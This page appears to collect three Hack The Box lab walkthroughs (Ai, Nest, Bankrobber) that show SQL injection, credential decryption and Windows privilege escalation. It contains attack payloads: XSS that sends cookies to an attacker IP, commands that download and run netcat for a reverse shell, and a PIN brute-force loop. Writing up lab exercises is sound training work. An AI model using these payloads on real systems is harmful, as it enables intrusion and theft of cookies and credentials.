Beveiligd: htb-rope-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: htb-misc-challenges

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: htb-sauna-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

htb-ai-nl

Welcome back! Today we are doing the Hack the Box machine – Ai. This is a Linux box with a medium difficulty. Let’s see what’s in store!

As always we kick it off with our nmap scan: nmap -sC -sV -T4 -p- -oA all_ports 10.10.10.163

Here are our results:

Host is up (0.060s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
|   256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_  256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.04 seconds

Well, it looks like web services are the way in. Let’s see whats being hosted on port 80.

We have a Artificial Intelligence site. The links lead to php files. We’ll start our enumeration with gobuster.

Command:
gobuster dir -u ai.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 75 -x php

Here are our results:

/uploads (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/db.php (Status: 200)
/contact.php (Status: 200)
/about.php (Status: 200)
/intelligence.php (Status: 200)
/ai.php (Status: 200)
/server-status (Status: 403)

Now we’ll start visiting these pages to see if there are any paths forward. We see that the premise of the site is using voice recognition from audio files as a search engine. On the ai.php page we see there is an upload form requesting a .wav file. So we’ll upload a sample file and see what happens. We get a response:

Good to know info, we’ll move onto the next page which was intelligence.php. Here is a list of supported API calls. So my logic here is to create a .wav with some type of text to speach engine using the provided api to craft my payload.

A quick google search for ‘text to speech download’ lead me to a few sites. We need the ability to download our crafted payload as well, simply saying it back isn’t quite good enough.

Now let’s craft an SQL injection using our documentation. It’s noted at the bottom of the page that they mostly follow Microsoft’s approach. So we dig up a list of recognized commands, here. Now we can seemingly using things like ‘open parenthesis’ and ‘close parenthesis’ to craft our statement.

Crafted database command:

won open single quote union select database open parenthesis close parenthesis
comment database

Is the same as saying:

1'union select database()-- -

So now that we’ve input this text-to-speech in, we save the file. Next we need to convert the file to a .wav. There are plenty of ways to do this. Two that can be done nativly in Kali are:

ffmpeg -i input.mp3 output.wav or mpg123 -w output.wav input.mp3.

Now that we have the payload compiled so to speak, let’s upload it.

Look’s like it worked! We have a database name of alexa. We will continue to craft payloads until we get what we need. It should be noted that sometimes the playback speed at certain parts of the payload needed to be slowed down. In the case of finding the table:

won open single quote union select table underscore schema comma table underscore name comma won from information underscore schema dot tables

This needed to be modified a bit more heavily, speed, emphisis and voice.

After much trial and error, we finally get the user password:

Great, now we have a username and password. Maybe it’ll work for SSH.

 

root@kali:~/htb/ai# ssh alexa@10.10.10.163
alexa@10.10.10.163's password: H,Sq9t6}a<)?q93_
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 5.3.7-050307-generic x86_64)
alexa@AI:~$ cat user.txt
c43b62c682a8c0992eb6d4a2cda55e4b

We are in. We snag our user.txt flag and start enumerating for root. We sping up a SimpleHTTPServer and download Linpeas.sh onto the box. We see that there are few more open ports available to us:

We also see Tomcat running a cron job:

As well as Java task running that references Tomcat running on port 8000:

After doing some research it looks like this is Java Debug Wire Protocol. THe give away was the jdwp in the process running: jdwp=transport. The first google seach for this came back with quite a few RCE on the protocol. This one does a great job of breaking it down. It also has a proof of concept, here.

We copy the file to the server and run it.

It seems to execute but we never catch a shell via netcat. Let’s craft a payload with msfpc or msfvenom. We issue msfpc elf tun0 to generate a Linux payload. We can then copy this payload to the server under /tmp. Then we will launch our MSF listener and retry our payload. Still doesn’t work. After some furthre digging it was suggested to try a different Java method to hook from. We’ll use a pretty basic one of java.lang.String.indexOf. This time we run it and get a shell!

root.txt is right as we land in. Box complete! This was quite a unique box for sure, I did NOT like the privesc part (didn’t work for me )

all credits go to https://rootflag.io/hack-the-box-ai/

Beveiligd: htb-forensic-challenges

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: htb-registry-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

htb-nest-nl

Hack the box Nest (IP: 10.10.10.178) is a recently released Windows machine. The unintentional way to own the box using Metasploit no longer works, because the HTB men have patched the machine.

RECONNAISSANCE

I recently got introduced to a tool called AutoRecon. https://github.com/Tib3rius/AutoRecon . This actually gives a nice report in a text format with correctly categorized results in the different folders.

Before I left AutoRecon to the task, used nmap to start the scan. The scan result shows two open ports (SMB 2: 445 and port 4386).

root @ kali: ~ / htb / nest # nmap -sS -sV -sC -oN nmap.txt -Pn 10.10.10.178
Starting Nmap 7.80 (https://nmap.org) at 2020-02-04 03:44 EST
Nmap scan report for nest.htb (10.10.10.178)
Host is up (0.086s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
445 / tcp open microsoft ds?

Host script results:
| _clock-skew: 1m45s
| smb2-security-mode:
| 2.02:
| _ Message signing enabled but not required
| smb2-time:
| date: 2020-02-04T08: 47: 09
| _ start_date: 2020-02-04T05: 55: 06

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 65.37 seconds
root @ kali: /opt/AutoRecon/results/10.10.10.178/scans# cat smbmap-share-permissions.txt 
[+] Finding open SMB ports ....
[+] User SMB session establishd on 10.10.10.178 ...
[+] IP: 10.10.10.178:445 Name: nest.htb 
Disk Permissions
---- -----------
[!] Access Denied
[+] Finding open SMB ports ....
[+] Guest SMB session established on 10.10.10.178 ...
[+] IP: 10.10.10.178:445 Name: nest.htb 
Disk Permissions
---- -----------
ADMIN $ NO ACCESS
C $ NO ACCESS
Data READ ONLY
IPC $ NO ACCESS
Secure $ NO ACCESS
Users READ ONLY
root @ kali: /opt/AutoRecon/results/10.10.10.178/scans# cat smbmap-list-contents.txt 
[+] Finding open SMB ports ....
[+] User SMB session establishd on 10.10.10.178 ...
[+] IP: 10.10.10.178:445 Name: nest.htb 
Disk Permissions
---- -----------
[!] Access Denied
[+] Finding open SMB ports ....
[+] Guest SMB session established on 10.10.10.178 ...
[+] IP: 10.10.10.178:445 Name: nest.htb 
Disk Permissions
---- -----------
ADMIN $ NO ACCESS
C $ NO ACCESS
Data READ ONLY
. \
dr - r - r-- 0 Wed Aug 7 18:53:46 2019.
dr - r - r-- 0 Wed Aug 7 18:53:46 2019 ..
dr - r - r-- 0 Wed Aug 7 18:58:07 2019 IT
dr - r - r-- 0 Mon Aug 5 17:53:41 2019 Production
dr - r - r-- 0 Mon Aug 5 17:53:50 2019 Reports
dr - r - r-- 0 Wed Aug 7 15:07:51 2019 Shared
. \\ Shared \
dr - r - r-- 0 Wed Aug 7 15:07:51 2019.
dr - r - r-- 0 Wed Aug 7 15:07:51 2019 ..
dr - r - r-- 0 Wed Aug 7 15:07:33 2019 Maintenance
dr - r - r-- 0 Wed Aug 7 15:08:07 2019 Templates
. \\ Shared \ Maintenance \
dr - r - r-- 0 Wed Aug 7 15:07:33 2019.
dr - r - r-- 0 Wed Aug 7 15:07:33 2019 ..
-r - r - r-- 48 Wed Aug 7 15:07:32 2019 Maintenance Alerts.txt
. \\ Shared \ Templates \
dr - r - r-- 0 Wed Aug 7 15:08:07 2019.
dr - r - r-- 0 Wed Aug 7 15:08:07 2019 ..
dr - r - r-- 0 Wed Aug 7 15:08:10 2019 HR
dr - r - r-- 0 Wed Aug 7 15:08:07 2019 Marketing
. \\ Shared \ Templates \ HR \
dr - r - r-- 0 Wed Aug 7 15:08:10 2019.
dr - r - r-- 0 Wed Aug 7 15:08:10 2019 ..
-r - r - r-- 425 Wed Aug 7 18:55:36 2019 Welcome Email.txt
IPC $ NO ACCESS
Secure $ NO ACCESS
Users READ ONLY
. \
dr - r - r-- 0 Sat Jan 25 18:04:21 2020.
dr - r - r-- 0 Sat Jan 25 18:04:21 2020 ..
dr - r - r-- 0 Fri Aug 9 11:08:23 2019 Administrator
dr - r - r-- 0 Sun Jan 26 02:21:44 2020 C. Smith
dr - r - r-- 0 Thu Aug 8 13:03:29 2019 L.Frost
dr - r - r-- 0 Thu Aug 8 13:02:56 2019 R. Thompson
dr - r - r-- 0 Wed Aug 7 18:56:02 2019 TempUser
.

I found many SMB shares, in one of the shares there is a Welcome Email.txt file which looked like an email template that HR used to send to the newly joined employees. The template has a default username and password, tempuser: welcome2019

Since I have the login credentials of a standard user, I started exploring the box and found an interesting XML configuration file in \ IT \ Configs \ RU Scanner \. The file actually had credentials from a user C. Smith in an encrypted format.

c.smith: fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE =

I spent a few minutes decrypting the password using online tools, but nothing helped me so I decided to spend time on the machine instead. I spent some time on the machine as I was suggested to find useful files in the data / IT / Carl / VB Projects folder so I did.

The NotepadPlusPlus folder contains two XML files. One is config.xml which has a code snippet at the end of the file that displays the user’s file access history. The list shows that the TempUser opened a file called “Temp.txt” from another user’s shared folder “Carl”. When I tried to list the folders in the IT folder, I was not given permission, but I was able to list Carl’s content directly.

OBTAIN USER

Since the machine is currently too buggy, I decided to download the entire “VB Projects” folder to my machine and find out the hint. The VB project folder contains two subfolders, Production and WIP. The WIP contains a Visual Basic project called “RUSScanner”. I copied the entire folder to my Windows host computer and opened the project with MS Visual Studio.

As I went through the code I noticed that this program is a decrypter and I may be able to decipher the C. Smith password I found earlier.

When I debugged the project I had the below error. There is a configuration file that needs to be loaded first, I couldn’t find the configuration file so I disabled it and from the main module and added the username and password I found.

My edited main function in Module1 looks like below. After changing the code I added a breakpoint at End Sub so that debugging stops at this breakpoint and I decrypted the password.

Now I have the password of user C.Smith: xRxRxPANCAK3SxRxRx.

C.Smith has a “HQK Reporting” folder, inside there are some files and a folder that seemed interesting, let’s download it.

ALTERNATE DATA STREAMS (ADS):

The file “Debug Mode Password.txt” in the HQK Reporting is an example of Windows Alternate Data Stream file attributes.

In the ADS, the content in the $ Data is always empty. If you find that the file “Debug Mode Password.txt” is actually a file with the “0” size, but the file contains the debug mode password.

To open / read the file, the file must be downloaded directly from Windows. If you download the file from your * nix machine, you will lose the contents and the file will become unworthy.

I used the Windows drive folder function to map the drive (//10.10.10.178/Users/C.Smith/) and download the file directly to my host computer. The PowerShell command -Stream * below will show the hidden stream name. The PowerShell command revealed the stream name as “Password”. For the next command, use “type” to read the actual password. In our case, the password is: WBQ201953D8w

I used telnet to connect the machine to the second port (4386) that we discovered in the first port scan. After connecting to Telnet, I used the debug password to enable debug mode.

> showquery 2 Domain = nest.local Port = 389 BaseOu = OU = WBQ Users, OU = Production, DC = nest, DC = local User = Administrator Password = yyEq0Uvvhq2uQOcWG8peLoeRQehqip / fKdeG / kjEVb4 =

COMPILING THE BINARY

The administrator password can be decrypted using the binary file in the directory of user C. Smith. This binary file can be downloaded to your Windows machine using the Windows network drive mapping function or from the “net view” command from the command prompt.

I download the file to a folder on my desktop using the drive folder. The binary file can be compiled with any binary compiler.

for example dnSpy: https://github.com/0xd4d/dnSpy/releases

I open the file with my debugger and start analyzing MainModule (). The two warning messages in the screenshot below caught my attention:

To run the binary, we need 2 main things, otherwise the binary will fail. We need a configuration file and a file named “HqDbImport.exe”. The configuration file was located in the LDAP folder, this can be easily copied to Notepad and I can make a duplicate. But I couldn’t find HqDbIport.exe, I checked the arguments of the binaries, but I found nowhere that this file was named after the MainModule. So I decided to make a duplicate of HqkLdap.exe and rename it to HqDbImport.exe and put it in a separate folder. I created a .config file with the content below.

So now I have 3 files in the new folder ready to run to decrypt the admin password:

After running the binary command line, I immediately got the administrator password decrypted.

Administrator: XtH4nkS4Pl4y1nGX

Now I am on the final step before entering the root of the system. I am using Impacket / PSExec to login to the system.

root @ kali: ~ / htb / nest # psexec.py Administrator: XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.10.178 .....
[*] Found writable share ADMIN $
[*] Uploading file wqVdOFDs.exe
[*] Opening SVCManager on 10.10.10.178 .....
[*] Creating service AGLN on 10.10.10.178 .....
[*] Starting service AGLN .....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C: \ Windows \ system32> cd c: \ users \ administrator \ desktop

c: \ Users \ Administrator \ Desktop> type root.txt
6594c2eb084bc0f08a42f0b94b878c41
c: \ Users \ Administrator \ Desktop>

Author: Puckiestyle

htb-bankrobber-nl

As always, first an nmap scan

root @ kali: ~ / htb / bankrobber # nmap -A 10.10.14.5 -oN AllPorts
Starting Nmap 7.80 (https://nmap.org) at 2020-02-03 06:24 EST
Nmap scan report for 10.10.14.5
Host is up (0.000051s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 7.9p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 2048 85: 9c: 65: 7b: ec: db: 65: ee: 28: 91: c7: 2e: 2f: e0: 22: 06 (RSA)
| 256 72: bb: d3: 17: 56: d4: 0d: fe: cb: 3e: 64: c9: 5c: 7a: 41: a6 (ECDSA)
| _ 256 66: 62: 0f: 03: e5: d8: 7f: e1: e8: dd: f2: ab: 17: 4c: a1: fc (ED25519)
111 / tcp open rpcbind 2-4 (RPC # 100000)
| rpcinfo:
| program version port / proto service
| 100000 2,3,4 111 / tcp rpcbind
| 100000 2,3,4 111 / udp rpcbind
| 100000 3.4 111 / tcp6 rpcbind
| _ 100000 3.4 111 / udp6 rpcbind
8000 / tcp open http SimpleHTTPServer 0.6 (Python 3.7.4)
| _http-server-header: SimpleHTTP / 0.6 Python / 3.7.4
| _http-title: Directory listing for /
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe: / o: linux: linux_kernel: 3
OS details: Linux 3.7 - 3.10
Network Distance: 0 hops
Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 12.88 seconds

Now we first create a new user, and then log in as this user

Then catch the admin cookie

<script> new Image (). src = "http://10.10.14.5:8000/bogus.php?output=" + document.cookie; </script>

or

<script> <img src = x onerror = this.src = 'http: //10.10.14.5: 8000 /? c =' + document.cookie> </script>
root @ kali: ~ / htb / # python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.154 - - [29 / Jan / 2020 03:24:29] code 404, message File not found
10.10.10.154 - - [29 / Jan / 2020 03:24:29] "GET /bogus.php?output=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP / 1.1" 404 -

then send an xss powershell iwr script

<script type = "text / javascript"> var Http = new XMLHttpRequest (); var url = '/ admin / backdoorchecker.php'; var params = 'cmd = dir | powershell -c "iwr -uri http://10.10.14.5:8000/nc64.exe -outfile% temp% \ a.exe";% temp% \ a.exe -e cmd.exe 10.10.14.5 1111 '; Http .open ("POST", url, true); Http.setRequestHeader ('Content-Type', 'application / x-www-form-urlencoded'); Http.send (params); </script>

If necessary, we check whether the admin auto apporoved (not necessarily necessary, only for checking)

first edit the admin cookie

catch the user shell

root @ kali: ~ / htb / bankrobber # rlwrap nc -nlvp 1111
listening on [any] 1111 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.154] 54090
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C: \ xampp \ htdocs \ admin> whoami
whoami
bank robber \ cortin

C: \ xampp \ htdocs \ admin> cd c: \ users \ Cortin \ Desktop 
C: \ Users \ Cortin \ Desktop> type user.txt
type user.txt
f635346600876a43441cf1c6e94769ac

.

c: \ mkdir temp 
c: \ temp \ certutil -urlcache -split -f http://10.10.14.10:8000/plink.exe c: \ Temp \ plink.exe 
. \ plink.exe -R 3306: 127.0.0.1 : 3306 10.10.14.10
root @ kali: ~ / htb / bankrobber # mysql -u root -h 127.0.0.1 -p
Enter password: 
Welcome to the MariaDB monitor. Commands end with; or \ g.
Your MariaDB connection id is 1019
Server version: 10.1.38-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\ h' for help. Type '\ c' to clear the current input statement.

MariaDB [(none)]> show databases;
+ -------------------- +
| Database |
+ -------------------- +
| bank robber |
| information_scheme |
| mysql |
| performance_scheme |
| phpmyadmin |
| test |
+ -------------------- +
6 rows in set (0.091 sec)

MariaDB [(none)]> select LOAD_FILE ('/ Users / Administrator / Desktop / root.txt');
MariaDB [(none)]> select LOAD_FILE ('/ Users / Cortin / Desktop / user.txt');

.

later after forcing the pin (after plink reverse shell c: \ temp \ plink.exe -R 4466: 127.0.0.1: 910 10.10.14.5 )

with script

or

root @ kali: ~ / htb / bankrobber # cat bandit.sh 
for x in {0..9} {0..9} {0..9} {0..9}; do
echo $ x | nc 192.168.1.139 910 | egrep -v "correct";
echo "Try $ x"; 
done

turned out to be this: 0021

C: \ temp \ certutil -urlcache -split -f http://10.10.14.5:8000/nc64.exe c: \ temp \ nc64.exe

C: \ temp \ certutil -urlcache -split -f http://10.10.14.5:8000/plink.exe c: \ temp \ plink.exe 
. \ Plink.exe -R 4466: 127.0.0.1: 910 10.10.14.5
.
root @ kali: ~ / htb / bankrobber # netstat -ano | grep 4455
tcp 0 0 127.0.0.1:4455 0.0.0.0:* LISTEN off (0.00 / 0/0)
tcp6 0 0 :: 1: 4455 ::: * LISTEN off (0.00 / 0/0)

root @ kali: ~ / htb / bankrobber # nc 127.0.0.1 4455 
 ----------------------------------- --------------------------- Internet E-Coin Transfer System International Bank of Sun church v0.1 by Gio & Cneeliz ----- -------------------------------------------------- ------- Please enter your super secret 4 digit PIN code to login: [$] 0021 [$] PIN is correct, access granted! -------------------------------------------------- ------------ Please enter the amount of e-coins you would like to transfer: [$] 1 [$] Transfering $ 1 using our e-coin transfer application. [$] Executing e-coin transfer tool: C: \ Users \ admin \ Documents \ transfer.exe [$] Transaction in progress, you can safely disconnect ...

c: \ bankv2.exe is Vulnerable to an ”Integer Overflow”

it appeared after asking on forum that it was about 32 A characters

I used numbers instead of A’s so:
12345678901234567890123456789012

after this the payload must be executed

My payload was –
12345678901234567890123456789012C: \ temp \ nc64.exe -e cmd.exe 10.10.14.5 1236

root @ kali: ~ / htb / bankrobber # nc 127.0.0.1 4455
-------------------------------------------------- ------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
-------------------------------------------------- ------------
Please enter your super secret 4 digit PIN code to login:
[$] 0021
[$] PIN correct, access granted!
-------------------------------------------------- ------------
Please enter the amount of e-coins you would like to transfer:
[$] 12345678901234567890123456789012C: \ temp \ nc64.exe -e cmd.exe 10.10.14.5 1236
[$] Transfer $ 12345678901234567890123456789012C: \ temp \ nc64.exe -e cmd.exe 10.10.14.5 1236 using our e-coin transfer application. 
[$] Executing e-coin transfer tool: C: \ temp \ nc64.exe -e cmd.exe 10.10.14.5 1236

[$] Transaction in progress, you can safely disconnect ...
root @ kali: / opt / evil-winrm # rlwrap nc -nlvp 1236
listening on [any] 1236 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.154] 49759
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C: \ Windows \ system32> whoami
whoami
nt authority \ system

C: \ Windows \ system32> cd c: \ users \ admin \ desktop
cd c: \ users \ admin \ desktop

c: \ Users \ admin \ Desktop> type root.txt
type root.txt
aa65d8e6216585ea636eb07d4a59b197
c: \ Users \ admin \ Desktop>

Author: Puckiestyle